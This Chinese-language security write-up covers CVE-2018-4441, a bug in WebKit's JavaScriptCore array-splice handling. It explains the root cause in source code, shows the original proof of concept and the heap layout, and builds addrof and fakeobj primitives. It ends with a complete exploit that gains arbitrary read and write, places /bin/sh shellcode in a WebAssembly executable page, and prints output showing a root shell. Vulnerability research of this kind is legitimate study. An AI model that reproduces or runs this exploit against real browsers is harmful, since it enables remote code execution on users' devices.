menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2018-4441)Webkit shiftCountWithArrayStorage chevron_right (CVE-2018-4441)Webkit shiftCountWithArrayStorage.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2018-4441)Webkit shiftCountWithArrayStorage.md
    24.64 KB / 2021-07-15 20:08:49
        (CVE-2018-4441)Webkit shiftCountWithArrayStorage
    ==================================================
    
    一、漏洞简介
    ------------
    
    WebKit是Apple
    Safari浏览器中的Web浏览器引擎,也是其他macOS、iOS和Linux系统中应用的浏览器引擎。2018年12月,该漏洞在公开披露后,被发现影响最新版本的苹果Safari浏览器。
    
    二、漏洞影响
    ------------
    
    三、复现过程
    ------------
    
    ### 漏洞分析
    
    #### 环境配置
    
    这里我用了补丁的前一个版本 commit
    `21687be235d506b9712e83c1e6d8e0231cc9adfd` , 在 ubuntu 1804
    下编译,环境相关的文件都放在了[这里](https://github.com/rtfingc/cve-repo/tree/master/0x05-lokihardt-webkit-cve-2018-4441-shiftCountWithArrayStorage)
    
    #### 漏洞描述
    
    漏洞发生在`JSArray::shiftCountWithArrayStorage` 这个函数,根据lokihardt
    的描述,除非对象的prototype 有indexed accessors 或者
    proxy对象(我也不清楚是什么:( ),
    否则调用到这个函数的时候`holesMustForwardToPrototype` 都会返回`false`,
    本来带holes 的对象就可以进入下面的处理逻辑(总的来说就是代码写错了)
    
        bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage)
        {
            unsigned oldLength = storage->length();
            RELEASE_ASSERT(count <= oldLength);
    
            // If the array contains holes or is otherwise in an abnormal state,
            // use the generic algorithm in ArrayPrototype.
            if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this)) 
                || hasSparseMap() 
                || shouldUseSlowPut(indexingType())) {
                return false;
            }
    
            if (!oldLength)
                return true;
    
            unsigned length = oldLength - count;
    
            storage->m_numValuesInVector -= count;
            storage->setLength(length);
        //.....
        bool Structure::holesMustForwardToPrototype(VM& vm, JSObject* base) const
        {
            ASSERT(base->structure(vm) == this);
    
            if (this->mayInterceptIndexedAccesses())
                return true;
    
            JSValue prototype = this->storedPrototype(base);//
            if (!prototype.isObject())
                return false;
            JSObject* object = asObject(prototype);
    
            while (true) {
                Structure& structure = *object->structure(vm);
                if (hasIndexedProperties(object->indexingType()) || structure.mayInterceptIndexedAccesses())
                    return true;
                prototype = structure.storedPrototype(object);
                if (!prototype.isObject())
                    return false;
                object = asObject(prototype);
    
    #### poc 分析
    
        function main() {
            let arr = [1];
    
            arr.length = 0x100000;
            arr.splice(0, 0x11);
    
            arr.length = 0xfffffff0;
            arr.splice(0xfffffff0, 0, 1);
        }
    
        main();
    
    `lokihardt` 给出了poc
    
        ./jsc
        >>> a=[1]
        1
        >>> describe(a)
        Object: 0x7fffaf6b4340 with butterfly 0x7fe0000e4008 (Structure 0x7fffaf6f2a00:[Array, {}, ArrayWithInt32, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 97
        >>> a.length=0x100000
        1048576
        >>> describe(a)
        Object: 0x7fffaf6b4340 with butterfly 0x7fe0000f8448 (Structure 0x7fffaf6f2b50:[Array, {}, ArrayWithArrayStorage, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 100
        >>> a.splice(0,0x11)
        1,,,,,,,,,,,,,,,,
    
    首先创建了一个 `ArrayWithInt32` 类型的array, length 改成`0x100000`
    之后会转换成`ArrayWithArrayStorage`, 然后调用 `splice`
    函数,实现在`Source/JavaScriptCore/runtime/ArrayPrototype.cpp:1005`
    的`arrayProtoFuncSplice` 函数
    
    splice 用来删除修改array, 如 `a.splice(0, 0x11)`, 就表示从`index=0`
    开始删除0x11 项, 第三个参数表示要替换的内容, 如`a.splice(0,0x11,1,1)`
    表示删除 0x11 个项,然后添加两个项,内容都是1,
    也可以这`a.splice(0,1,1,2,3)`
    要添加的项比删除多的时候会重新分配内存。我们看一下函数具体是怎么样实现的,
    这里用poc 的 `a.length=0x100000; a.splice(0,0x11)` 为例
    
        EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
        {
            // 15.4.4.12
    
            VM& vm = exec->vm();
            auto scope = DECLARE_THROW_SCOPE(vm);
    
            JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
            EXCEPTION_ASSERT(!!scope.exception() == !thisObj);
            if (UNLIKELY(!thisObj))
                return encodedJSValue();
            // length = 0x100000
            unsigned length = toLength(exec, thisObj);
            RETURN_IF_EXCEPTION(scope, encodedJSValue());
    
            if (!exec->argumentCount()) {
        //..
            }
            // splice 第一个参数, 这里是 0
            unsigned actualStart = argumentClampedIndexFromStartOrEnd(exec, 0, length);
            RETURN_IF_EXCEPTION(scope, encodedJSValue());
            // actualDeleteCount = 0x100000 - 0
            unsigned actualDeleteCount = length - actualStart;
            // argumentCount == 2, 进入判断, actualDeleteCount = 0x11
            if (exec->argumentCount() > 1) {
                double deleteCount = exec->uncheckedArgument(1).toInteger(exec);
                RETURN_IF_EXCEPTION(scope, encodedJSValue());
                if (deleteCount < 0)
                    actualDeleteCount = 0;
                else if (deleteCount > length - actualStart)
                    actualDeleteCount = length - actualStart;
                else
                    actualDeleteCount = static_cast<unsigned>(deleteCount);
            }
        //...
            // itemCount 表示要添加的 item 数量, 这里是 0 < 0x11 --> 调用 shift
            unsigned itemCount = std::max<int>(exec->argumentCount() - 2, 0);
            if (itemCount < actualDeleteCount) {
                shift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, itemCount, length);
                RETURN_IF_EXCEPTION(scope, encodedJSValue());
            } else if (itemCount > actualDeleteCount) {
                unshift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, itemCount, length);
                RETURN_IF_EXCEPTION(scope, encodedJSValue());
            }
            // 把每个添加的item 内容写入
            for (unsigned k = 0; k < itemCount; ++k) {
                thisObj->putByIndexInline(exec, k + actualStart, exec->uncheckedArgument(k + 2), true);
                RETURN_IF_EXCEPTION(scope, encodedJSValue());
            }
         // 重新设置长度   
            scope.release();
            setLength(exec, vm, thisObj, length - actualDeleteCount + itemCount);
            return JSValue::encode(result);
        }
    
    整理一下
    
    -   `actualStart` 第一个参数,表示要开始delete 的地方
    
    -   `actualDeleteCount` 第二个参数,要delete
        的数量,没有设置时默认是`length - actualStart`
    
    -   itemCount
    
    ```{=html}
    <!-- -->
    ```
    -   第三个参数开始的数量
    
        -   `itemCount < actualDeleteCount` 会调用 shift
        -   `itemCount > actualDeleteCount` 调用 unshift
    
    我们跟一下`shift`
    
        template<JSArray::ShiftCountMode shiftCountMode>
        void shift(ExecState* exec, JSObject* thisObj, unsigned header, unsigned currentCount, unsigned resultCount, unsigned length)
        {
            VM& vm = exec->vm();
            auto scope = DECLARE_THROW_SCOPE(vm);
    
            RELEASE_ASSERT(currentCount > resultCount);
            // 要多 delete 的数量
            unsigned count = currentCount - resultCount;
    
            RELEASE_ASSERT(header <= length);
            RELEASE_ASSERT(currentCount <= (length - header));
    
            if (isJSArray(thisObj)) {
                JSArray* array = asArray(thisObj);
                if (array->length() == length && array->shiftCount<shiftCountMode>(exec, header, count))
                    return;
            }
    
            for (unsigned k = header; k < length - currentCount; ++k) {
                unsigned from = k + currentCount;
                unsigned to = k + resultCount;
                JSValue value = getProperty(exec, thisObj, from);
                RETURN_IF_EXCEPTION(scope, void());
                if (value) {
                    thisObj->putByIndexInline(exec, to, value, true);
                    RETURN_IF_EXCEPTION(scope, void());
                } else {
                    bool success = thisObj->methodTable(vm)->deletePropertyByIndex(thisObj, exec, to);
                    RETURN_IF_EXCEPTION(scope, void());
                    if (!success) {
                        throwTypeError(exec, scope, UnableToDeletePropertyError);
                        return;
                    }
                }
            }
            for (unsigned k = length; k > length - count; --k) {
                // 
                bool success = thisObj->methodTable(vm)->deletePropertyByIndex(thisObj, exec, k - 1);
                RETURN_IF_EXCEPTION(scope, void());
                if (!success) {
                    throwTypeError(exec, scope, UnableToDeletePropertyError);
                    return;
                }
            }
        }
        JSArray::ShiftCountForSplice` 实现在`Source/JavaScriptCore/runtime/JSArray.h:125`, `shiftCountWithAnyIndexingType` 根据 array 的类型做不同的处理,这里我们是`ArrayWithArrayStorage`, 直接调用`shiftCountWithArrayStorage
        bool shiftCountForSplice(ExecState* exec, unsigned& startIndex, unsigned count)        
        {                                                                                      
            return shiftCountWithAnyIndexingType(exec, startIndex, count);                     
        }                                                                                      
        //.................
    
        bool JSArray::shiftCountWithAnyIndexingType(ExecState* exec, unsigned& startIndex, unsigned count)
        {
            VM& vm = exec->vm();
            RELEASE_ASSERT(count > 0);
    
            ensureWritable(vm);
    
            Butterfly* butterfly = this->butterfly();
    
            switch (indexingType()) {
            case ArrayClass:
                return true;
    
            case ArrayWithUndecided:
                // Don't handle this because it's confusing and it shouldn't come up.
                return false;
    
            case ArrayWithInt32:
            case ArrayWithContiguous: {
                unsigned oldLength = butterfly->publicLength();
            //...
                return true;
            }
    
            case ArrayWithDouble: {
                unsigned oldLength = butterfly->publicLength();
                RELEASE_ASSERT(count <= oldLength);
                //...
                return true;
            }
    
            case ArrayWithArrayStorage:
            case ArrayWithSlowPutArrayStorage:
                return shiftCountWithArrayStorage(vm, startIndex, count, arrayStorage());
    
            default:
                CRASH();
                return false;
            }
        }
    
    这里就是漏洞点了,前面提到`holesMustForwardToPrototype` 会返回false,
    这样就会进入到后面的逻辑
    
        bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage)
        {
            unsigned oldLength = storage->length();
            RELEASE_ASSERT(count <= oldLength);
    
            // If the array contains holes or is otherwise in an abnormal state,
            // use the generic algorithm in ArrayPrototype.
            if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this)) 
                || hasSparseMap() 
                || shouldUseSlowPut(indexingType())) {
                return false;
            }
    
            if (!oldLength)
                return true;
            //count = 0x11, oldlength = 0x100000, length = 0xfffef
            unsigned length = oldLength - count;
            // m_numValuesInVector = 1, 计算之后 m_numValuesInVector = 0xfffffff0
            storage->m_numValuesInVector -= count;
            storage->setLength(length);
    
    这里运行结束后`a.length = 0xfffef`,
    `storage.m_numValuesInVector = 0xfffffff0`, 然后 poc
    下一步设置`a.length = 0xfffffff0`, 这样就有
    `a.length == storage.m_numValuesInVector`, 这样`hasHoles`
    后续都会返回false
    
        bool hasHoles() const                         
        {                                             
            return m_numValuesInVector != length();   
        }
    
    最后一步`a.splice(0xfffffff0, 0, 1);`,
    `itemCount == 1 > actualDeleteCount == 0`, 于是就会进入 `unshift` 函数,
    和 shift 函数类似,这里最终会进入 `JSArray`
    的`unshiftCountWithArrayStorage`
    
    因为 `storage->hasHoles()` 返回的是 false,
    所以可以进入后面的判断,要添加的item 比
    delete的多,那么就需要扩大原来的内存,后续的内存操作会出现问题,最终`segmentfault`
    
        bool JSArray::unshiftCountWithArrayStorage(ExecState* exec, unsigned startIndex, unsigned count, ArrayStorage* storage)
        {
        //..
    
            // If the array contains holes or is otherwise in an abnormal state,
            // use the generic algorithm in ArrayPrototype.
            if (storage->hasHoles() || storage->inSparseMode() || shouldUseSlowPut(indexingType()))
                return false;
    
            bool moveFront = !startIndex || startIndex < length / 2;
    
            unsigned vectorLength = storage->vectorLength();
    
            // Need to have GC deferred around the unshiftCountSlowCase(), since that leaves the butterfly in
            // a weird state: some parts of it will be left uninitialized, which we will fill in here.
            DeferGC deferGC(vm.heap);
            auto locker = holdLock(cellLock());
    
            if (moveFront && storage->m_indexBias >= count) {
                Butterfly* newButterfly = storage->butterfly()->unshift(structure(vm), count);
                storage = newButterfly->arrayStorage();
                storage->m_indexBias -= count;
                storage->setVectorLength(vectorLength + count);
                setButterfly(vm, newButterfly);
            } else if (!moveFront && vectorLength - length >= count)
                storage = storage->butterfly()->arrayStorage();
            else if (unshiftCountSlowCase(locker, vm, deferGC, moveFront, count))
                storage = arrayStorage();// 0x60 
            else {
                throwOutOfMemoryError(exec, scope);
                return true;
            }
    
            WriteBarrier<Unknown>* vector = storage->m_vector;
    
            if (startIndex) {
                if (moveFront)
                    memmove(vector, vector + count, startIndex * sizeof(JSValue));
                else if (length - startIndex)
                    memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * sizeof(JSValue));
            }
    
            for (unsigned i = 0; i < count; i++)
                vector[i + startIndex].clear();
    
            return true;
        }
    
    ### 漏洞利用
    
    okay, 漏洞发生的原因大概清楚了,我们再来看看要怎么样利用。我们可以发现
    `unshiftCountWithArrayStorage` 有一个 `memmove` 的操作,
    假如执行`a.splice(0x1000,0,1)`, `startIndex == 0x1000`,
    `moveFront == true` , `count = 1`
    
        if (startIndex) {
                if (moveFront)
                    memmove(vector, vector + count, startIndex * sizeof(JSValue));
                else if (length - startIndex)
                    memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * sizeof(JSValue));
            }
    
    vector 来自前面的`storage` , 这里会进入 `storage = arrayStorage();`
    重新初始化一个 storage,
    可以跟踪一下`Source/JavaScriptCore/runtime/ButterflyInlines.h:77`
    的`Butterfly::tryCreateUninitialized` 函数,最终分配的内存大小是
    0x60(0x58 向上对齐)。但是 因为这里`startIndex`
    可以控制,于是这里就可以越界做内存拷贝。
    
        if (moveFront && storage->m_indexBias >= count) {//m_indexBias ==0 < count ==1
                Butterfly* newButterfly = storage->butterfly()->unshift(structure(vm), count);
                storage = newButterfly->arrayStorage();
                storage->m_indexBias -= count;
                storage->setVectorLength(vectorLength + count);
                setButterfly(vm, newButterfly);
            } else if (!moveFront && vectorLength - length >= count)// moveFront == true
                storage = storage->butterfly()->arrayStorage();
            else if (unshiftCountSlowCase(locker, vm, deferGC, moveFront, count))
                storage = arrayStorage();// 0x60 
            else {
                throwOutOfMemoryError(exec, scope);
                return true;
            }
    
            WriteBarrier<Unknown>* vector = storage->m_vector;
    
    如果内存布局像下面这样,
    
        vector = 0x7fe000287a78
        pwndbg> x/1000gx 0x7fe000287a78
        0x7fe000287a78: 0x00000000badbeef0      0x0000000000000000
        0x7fe000287a88: 0x00000000badbeef0      0x00000000badbeef0
        0x7fe000287a98: 0x00000000badbeef0      0x00000000badbeef0
        //..
        // 其他 object 的 butterfly,  length = 0xa
        0x7fe000287ff8: 0x00000000badbeef0      0x0000000d0000000a
        0x7fe000288008: 0x0000000000001337      0x402abd70a3d70a3d
        0x7fe000288018: 0x402abd70a3d70a3d      0x402abd70a3d70a3d
        // vector + 0x1000
        0x7fe000288a78: 0x0000000000000000      0x0000000d0000000a
        0x7fe000288a88: 0x0000000000001337      0x402abd70a3d70a3d
    
    memmove之后, 可以把其他object 的 `buttefly` 的 length
    改了,假如可以找到这个 object, 那么就可以利用这个 object
    来构造越界读写了。
    
        // vector
        0x7fe000287a78: 0x0000000000000000      0x00000000badbeef0
        0x7fe000287a88: 0x00000000badbeef0      0x00000000badbeef0
        // 其他 object 的 butterfly,  length = 0x1337
        0x7fe000287ff8: 0x0000000d0000000a      0x0000000000001337
        0x7fe000288008: 0x402abd70a3d70a3d      0x402abd70a3d70a3d
        // vector + 0x1000
        0x7fe000288a78: 0x0000000d0000000a      0x0000000000001337
        0x7fe000288a88: 0x402abd70a3d70a3d      0x402abd70a3d70a3d
    
    #### addrof 和 fakeobj 构造
    
    首先喷一堆的object, 尝试构造出上面提到的内存布局,length都是 10,
    这样新分配的内存就是 `10 * 8 + 0x10 = 0x60`, 就会和新申请的`storage`
    分配在十分接近的内存上。 `spray[i]` 和 `spray[i+1]` 会连续分配
    
        for (let i = 0; i < 0x3000; i += 2) {                                                   
            spray[i]   = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i];       
            spray[i+1] = [{},{},{},{},{},{},{},{},{},{}];  // fakeobj                              
        }                                                                                       
        for (let i = 0; i < 0x3000; i += 2)                                                     
            spray[i][0] = i2f(0x1337)
    
    然后是 splice(0x1000,0,1) 触发`memmove`, 然后找出那个被改了 size 的
    object
    
        arr.splice(0x1000,0,1);                      
    
        fake_index=-1;                               
        for(let i=0;i<0x3000;i+=2){                  
            if(spray[i].length!=10){                 
               print("hit: "+i.toString(16));       
               fake_index=i;                        
               break;                               
            }                                        
        }   
        //..spray[i] ArrayWithDouble
        0x7ff000287ff8: 0x00000000badbeef0      0x0000000d0000000a
        0x7ff000288008: 0x0000000000001337      0x402abd70a3d70a3d
        0x7ff000288018: 0x402abd70a3d70a3d      0x402abd70a3d70a3d
        0x7ff000288028: 0x402abd70a3d70a3d      0x402abd70a3d70a3d
        0x7ff000288038: 0x402abd70a3d70a3d      0x402abd70a3d70a3d
        0x7ff000288048: 0x402abd70a3d70a3d      0x40c77caf5c28f5c3
        // spray[i+1], ArrayWithContiguous
        0x7ff000288058: 0x7ff8000000000000      0x7ff8000000000000
        0x7ff000288068: 0x7ff8000000000000      0x0000000d0000000a
        0x7ff000288078: 0x00007fffae25d240      0x00007fffae25d280
        0x7ff000288088: 0x00007fffae25d2c0      0x00007fffae25d300
        0x7ff000288098: 0x00007fffae25d340      0x00007fffae25d380
        0x7ff0002880a8: 0x00007fffae25d3c0      0x00007fffae25d400
        0x7ff0002880b8: 0x00007fffae25d440      0x00007fffae25d480
    
    到了这里, `spray[i][14] == spray[i+1][0]`, 往`spray[i][14]` 写一个
    地址, 然后从`spray[i+1]` 取出来就会认为他是一个object,
    同样可以用`spray[i][14]` 读 object 的地址, fakeobj 和 addrof
    的构造就十分直接啦
    
        unboxed = spray[fake_index];   
        boxed = spray[fake_index+1];   
        print(describe(unboxed))       
        print(describe(boxed))         
    
        function addrof(obj){                 
            boxed[0] = obj;                   
            return f2i(unboxed[14]);          
    
        }                                     
    
        function fakeobj(addr){               
            unboxed[14] = i2f(addr);          
            return boxed[0];                  
        }
    
    #### 任意地址读写 & 写 wasm getshell
    
    接下来的利用基本上就都是通用套路了,改 `ArrayWithDouble` 的 butterfly
    任意地址读写,然后找 wasm 的`rwx` 段写shellcode, 执行shellcode 完事。
    
    ### exp
    
    完整exp 如下
    
        var conversion_buffer = new ArrayBuffer(8)
        var f64 = new Float64Array(conversion_buffer)
        var i32 = new Uint32Array(conversion_buffer)
    
        var BASE32 = 0x100000000
        function f2i(f) {
            f64[0] = f
            return i32[0] + BASE32 * i32[1]
        }
    
        function i2f(i) {
            i32[0] = i % BASE32
            i32[1] = i / BASE32
            return f64[0]
        }
    
        function user_gc() {
            for (let i = 0; i < 10; i++) {
                let ab = new ArrayBuffer(1024 * 1024 * 10);
            }
        }
    
        let arr = [1];
    
        arr.length = 0x100000;
        arr.splice(0, 0x11);
        arr.length = 0xfffffff0;
    
        let spray = new Array(0x3000);
    
        for (let i = 0; i < 0x3000; i += 2) {
            spray[i]   = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i];
            spray[i+1] = [{},{},{},{},{},{},{},{},{},{}];
        }
        for (let i = 0; i < 0x3000; i += 2)
            spray[i][0] = i2f(0x1337)
    
    
        arr.splice(0x1000,0,1);
    
        fake_index=-1;
        for(let i=0;i<0x3000;i+=2){
            if(spray[i].length!=10){
                print("hit: "+i.toString(16));
                fake_index=i;
                break;
            }
        }
    
        unboxed = spray[fake_index];
        boxed = spray[fake_index+1];
        print(describe(unboxed))
        print(describe(boxed))
    
    
        function addrof(obj){
            boxed[0] = obj;
            return f2i(unboxed[14]);
    
        }
    
        function fakeobj(addr){
            unboxed[14] = i2f(addr);
            return boxed[0];
        }
    
    
    
        victim = [1.1];
        victim[0] =3.3;;
        victim['prop'] = 13.37;
        victim['prop'+1] = 13.37;
        print(describe(victim))
        print(addrof(victim).toString(16))
    
        i32[0]=100;
        i32[1]=0x01082107 - 0x10000;
        var container={
            jscell:f64[0],
            butterfly:victim,
        }
        print(describe(container))
        container_addr = addrof(container);
        hax = fakeobj(container_addr+0x10);
    
        var unboxed2 = [1.1];
        unboxed2[0] =3.3;
    
        var boxed2 = [{}]
    
        hax[1] = i2f(addrof(unboxed2))
        var shared = victim[1];
        hax[1] = i2f(addrof(boxed2))
        victim[1] = shared;
    
        var stage2={
            addrof: function(obj){
                boxed2[0] = obj;
                return f2i(unboxed2[0]);
            },
            fakeobj: function(addr){
                unboxed2[0] = i2f(addr);
                return boxed2[0];
            },
            read64: function(addr){
                hax[1] = i2f(addr + 0x10);
                return this.addrof(victim.prop);
            },
            write64: function(addr,data){
                hax[1] = i2f(addr+0x10);
                victim.prop = this.fakeobj(data)
            },
            write: function(addr, shellcode) {
                var theAddr = addr;
                for(var i=0;i<shellcode.length;i++){
                    this.write64(addr+i,shellcode[i].charCodeAt())
                }
            },
            pwn: function(){
                var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
                var wasm_mod = new WebAssembly.Module(wasm_code);
                var wasm_instance = new WebAssembly.Instance(wasm_mod);
                var f = wasm_instance.exports.main;
                var addr_f = this.addrof(f);
                var addr_p = this.read64(addr_f + 0x40);
                var addr_shellcode = this.read64(addr_p);
                print(addr_f.toString(16))
                print(addr_p.toString(16))
                print(addr_shellcode.toString(16));
                shellcode = "j;X\x99RH\xbb//bin/shST_RWT^\x0f\x05"
                this.write(addr_shellcode, shellcode);
                f();
            }
        }
    
        stage2.pwn()
    
    #### 运行效果
    
    运行效果如下
    
        ╰$ ./jsc exp.js
        hit: 2e5e
        Object: 0x7fffae2af690 with butterfly 0x7fe00028c078 (Structure 0x7fffaf6f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 98
        Object: 0x7fffae2af6a0 with butterfly 0x7fe00028c0e8 (Structure 0x7fffaf6f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf6c80a0]), StructureID: 99
        Object: 0x7fffae2591f0 with butterfly 0x7fe000280058 (Structure 0x7fffaf670d20:[Array, {prop:100, prop1:101}, ArrayWithDouble, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 317
        7fffae2591f0
        Object: 0x7fffaf6c8380 with butterfly (nil) (Structure 0x7fffaf670e00:[Object, {jscell:0, butterfly:1}, NonArray, Proto:0x7fffaf6b4000, Leaf]), StructureID: 319
        7fffae208000
        7ffff000a500
        7fffb0001000
        # id
        uid=0(root) gid=0(root) groups=0(root)
        #
    
    \#\#参考链接
    
    > https://xz.aliyun.com/t/7694\#toc-2
    
    
    links
    file_download